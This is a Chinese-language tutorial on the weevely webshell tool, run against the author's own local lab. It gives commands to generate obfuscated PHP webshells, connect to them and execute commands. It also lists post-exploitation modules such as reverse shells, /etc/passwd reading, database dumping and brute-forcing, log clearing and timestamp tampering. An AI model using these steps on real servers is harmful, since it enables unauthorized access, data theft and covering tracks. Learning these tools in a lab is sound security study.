前言
简单的记录一下webacoo和weevely的使用学习,本文是weevely。本文的环境都是在自己的机器上搭的。工具是好工具,切勿滥用。
初探
这是一个webshell生成和管理工具。类似于菜刀。
- 创建webshell:在当前路径下创建一个密码为passwd,文件名为shell.php的webshell。
# 模板:weevely generate <password> <path>
weevely generate passwd ./shell.php
- 连接webshell:将webshell上传至目标服务器,明确路径,然后连接。
# 模板:weevely <url> <password> [cmd]
# 连接木马
weevely http://127.0.0.1/shell.php passwd
#执行结果:
notroot@kali:~$ weevely http://127.0.0.1/shell.php passwd
[+] weevely 4.0.1
[+] Target: 127.0.0.1
[+] Session: /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
- 执行命令。
weevely> ls
index.html
index.nginx-debian.html
phpinfo.php
shell.php
www-data@kali:/var/www/html $ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@kali:/var/www/html $
- 结束。weevely一次简单的使用就完成啦。
进一步探索
使用man weevely
,会发现工具不只简单的链接一下木马,最引人注目的是它有一些模块可以使用,man
一下都能看到。我们先从最初始的地方开始。查看帮助文档。执行结果如下。
notroot@kali:~$ weevely -h
usage: weevely [-h] {terminal,session,generate} ...
positional arguments:
{terminal,session,generate}
terminal Run terminal or command on the target
session Recover an existing session
generate Generate new agent
optional arguments:
-h, --help show this help message and exit
阅读发现weevely有三个参数,分别是terminal、session、generate。
参数
- terminal,在目标上运行一个终端或一条命令。用法如下:
# 用法:weevely terminal [-h] url password [cmd]
# 使用weevely terminal -h 可以查看terminal参数的用法
# 如果需要运行一个终端
notroot@kali:~$ weevely terminal http://127.0.0.1/shell.php passwd
[+] weevely 4.0.1
[+] Target: www-data@kali:/var/www/html
# 记住这个session路径,一会儿有用
[+] Session: /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session
[+] Shell: System shell
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely>
# 如果只执行ls命令,执行完成后退出
notroot@kali:~$ weevely terminal http://127.0.0.1/shell.php passwd ls
index.html
index.nginx-debian.html
phpinfo.php
shell.php
notroot@kali:~$
- session,恢复一个已经存在的会话。这里会用2中的路径,每次连接都会生成一个会话文件,要恢复连接的话直接读取该文件就行。用法如下:
# 用法:weevely session [-h] path [cmd]
# 使用weevely session -h 可以查看terminal参数的用法
# path就是存在的会话文件路径,cmd是需要执行的命令,执行完毕后退出。
# 恢复会话
notroot@kali:~$ weevely session /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session
# 恢复会话只执行ls命令
notroot@kali:~$ weevely session /home/notroot/.weevely/sessions/127.0.0.1/shell_0.session ls
index.html
index.nginx-debian.html
phpinfo.php
shell.php
notroot@kali:~$
- generate,生成webshell,这个参数的部分用法在“初探”里已经展示过了,但这并没有完,因为它还有两个可选参数,分别是
-obfuscator
和-agent
。用法如下:
# 用法:weevely generate [-h] [-obfuscator {obfusc1_php,cleartext1_php}]
# [-agent {obfpost_php}]
# password path
-obfuscator
代表混淆方式,有两种方式,一种是obfusc1_php,一种是cleartext1_php,默认使用obfusc1_php方式加密,cleartext1_php就是明文,不混淆。默认是混淆的,最神奇的地方是它每次混淆产生的代码都是不一样的。这个可以自己去尝试一下。
-agent
表示通信的方式,即post方式和get方式。默认是post方式,而且看了下代码,只有post模板,所以只能选这个,因此这个参数基本都不用。这一部分可以看看工具源码,特别是混淆的部分,或许可以自己开发一下。这两个参数使用实例如下:
# 使用混淆
weevely generate -obfuscator obfusc1_php passwd ./shell.php
# 不使用混淆
weevely generate -obfuscator cleartext1_php passwd ./shell.php
# 使用post方式通信
weevely generate -agent obfpost_php passwd ./shell.php
# 使用混淆和post通信方式
weevely generate -obfuscator obfusc1_php -agent obfpost_php passwd ./shell.php
模块的使用
- 查看模块。连接完成后,该工具还有一些模块,使用起来很方便。查看有哪些模块很简单,使用完连接命令后,直接输入
help
或者:help
就可以看到有哪些模块。
www-data@kali:/var/www/html $ help
www-data@kali:/var/www/html $ :help
- 模块功能。在1中执行完help命令后,可以看到下面的模块,每一个模块对应的功能如下:
模块名 | 功能 |
---|---|
:system_procs | 列出系统正在运行的进程 |
:system_info | 列出系统信息 |
:system_extensions | 列出php和web服务器(中间件)的扩展 |
:audit_filesystem | 审计文件系统,寻找当前权限为可写、可读、可执行的文件和目录 |
:audit_phpconf | 审计php的基本(配置)信息 |
:audit_suidsgid | 寻找有suid和sgid的文件 |
:audit_disablefunctionbypass | 绕过功能禁用限制通过mod_cgi和.htaccess。这个是硬翻译,我也不知道咋用 |
:audit_etcpasswd | 用不同的方法读取/etc/passwd。当直接读取无法访问时,可以使用该模块 |
:sql_console | 执行一个sql查询或者运行一个sql控制台。sql的建议看看官方文档,我的环境里弄不出来 |
:sql_dump | 获取数据库转储 |
:bruteforce_sql | 爆破数据库 |
:backdoor_tcp | 启动一个正向TCP连接 |
:backdoor_reversetcp | 启动一个反向TCP连接(反弹shell) |
:net_ifconfig | 获取网络接口地址 |
:net_curl | 执行一个类似于curl的http请求,简单理解就是curl怎么用,这个模块就怎么用 |
:net_proxy | 在本地运行一个http或者https代理 |
:net_scan | TCP端口扫描 |
:net_phpproxy | 在被控服务器上安装一个php代理 |
:net_mail | 发送邮件 |
:shell_php | 执行一段php代码,代码格式为’echo aaa;’ |
:shell_su | 以管理员身份执行命令,这需要知道管理员的密码 |
:shell_sh | 执行一个系统命令 |
:file_download | 从远程系统下载一个文件到本地 |
:file_check | 获取文件属性和权限 |
:file_webdownload | 从url下载一个文件到被控端 |
:file_cd | 改变当前的工作目录,简单理解改变目录,和cd命令一样 |
:file_read | 读取被控端的文件 |
:file_enum | 检查路径列表的存在性和权限 |
:file_ls | 列出目录内容,和ls一样 |
:file_bzip2 | 压缩或者解压bzip2文件 |
:file_gzip | 压缩或解压gzip文件 |
:file_find | 寻找文件,和find命令类似 |
:file_edit | 在本地编辑器编辑远程文件(被控端文件) |
:file_zip | 解压或压缩zip文件 |
:file_clearlog | 从文件中删除字符串 |
:file_tar | 压缩或解压tar文件 |
:file_upload2web | 上传文件到web目录,并自动获取文件路径(URL) |
:file_rm | 删除远程文件 |
:file_touch | 更改文件时间戳 |
:file_upload | 上传文件到远程文件系统 |
:file_grep | 内容匹配,与grep类似 |
:file_cp | 复制一个文件,与cp类似 |
:file_mount | 使用HTTPfs挂载远程文件系统 |
- 模块使用示例。具体怎么使用慢慢探索吧。有的模块执行需要参数,在模块后加一个
-h
即可查看。几个模块使用示例如下:
# 查看参数
www-data@kali:/var/www/html $ :backdoor_tcp -h
usage: backdoor_tcp [-h] [-shell SHELL] [-no-autonnect] [-vector {netcat,netcat_bsd,python_pty,socat}] port
Spawn a shell on a TCP port.
positional arguments:
port Port to spawn
optional arguments:
-h, --help show this help message and exit
-shell SHELL Specify shell
-no-autonnect Skip autoconnect
-vector {netcat,netcat_bsd,python_pty,socat}
# 查看系统信息
www-data@kali:/var/www/html $ :system_info
# 读取index.html
www-data@kali:/var/www/html $ :file_read
# 查看文件属性或权限(查看index.html文件是否存在)
www-data@kali:/var/www/html $ :file_check index.html exists
最后
还是那句话,仅学习使用,文中的环境是自己在虚拟机上搭的,工具是好工具,切勿滥用。如果想拿人家的服务器开刀的话,请多学习学习刑法、网络安全法等相关法律